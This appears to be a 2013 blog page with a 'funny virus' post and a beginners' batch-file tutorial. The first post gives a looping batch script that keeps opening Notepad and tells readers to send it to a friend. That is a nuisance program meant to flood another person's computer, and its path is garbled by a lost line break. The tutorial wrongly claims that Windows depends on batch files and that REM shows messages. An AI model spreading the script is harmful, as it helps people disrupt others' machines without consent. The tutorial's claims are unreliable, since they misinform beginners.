Funny Virus To Open Notepad Again and Again In Your Friends Computer:


Type Following Code In Notepad:




@ECHO off

:top
START %SystemRoot%\system32
otepad.exe
GOTO top




Save it as Anything.BAT and send it.

Friday, 6 September 2013

Batch Programming( For Beginners



What is Batch file?

Batch files are a list of command line instructions that are "batched" together in one file. Most of the command lines can be executed within the command prompt, but batch files make the work load much easier. Batch files can be opened, copied, and edited using notepad. 

They are used for simple routines and low-level machine instruction. On Windows, many batch files can be seen within the c:\Windows directory.

Batch files, more or less, make up the backbone of the Windows Operating System. The operating system must have access to these files and be able to add and delete instructions from them. Delete them, and you have effectively disabled the OS.



Basic Batch File Utilities and Commands

Note: Any DOS command can be used within a batch file, below are a list of commands used to support the structure and flow of the batch file

@
Place @ in front of commands that you don't want echoed within the process. 

CLS
Clears the screen of any previous data. 

CALL
Calls another batch file. Once other batch file isfinished, control is returned to the first (i.e. CALL c:\Windows\Newbat.bat). 

BREAK ON/OFF
When turned on within the batch file, the user has an option of stopping the batch file by bressing Ctrl+Break. 

GOTO - This command is used to go to another section of the batch file. Sections can be added by adding a colon infront of a name

(i.e. :FIRSTSECTION, :SECONDSECTION): 



Quote::FIRSTSECTION

REM Welcome to the first section
GOTO :SECONDSECTION

Quote: :SECONDSECTION

REM Welcome to the second section
GOTO :END
:END



It is possible to loop with the GOTO command: 

Quote::START

REM NO!!!!!!!!!!!!!!!!!! IT'S LOOPING!!!!!!!!!!!!!
GOTO :START



PAUSE
The pause command halts a proccess until a key is hit by the user. Displays the message, "Press any key to continue..." 

REM
Allows a remark to be placed within the code, displaying a message to the user (i.e. REM HELLO!). 

ECHO ON
Command process is shown to user; @ is usually placed before (@ECHO ON). 

ECHO OFF
Command process is not shown to the user; @ is usually placed before (@ECHO OFF). 

end
Ends the process. 

Simple Batch Programming to show Hello message is :


@echo off

echo "hello world"



Type this code into notepad and save it with .bat extenstion(For eg: hello.bat)

By double clicking the batch file,you can run the file. Above batch file will show the hello world but we can' see it. because the window will open and closed within a second.

We will see later how to see it.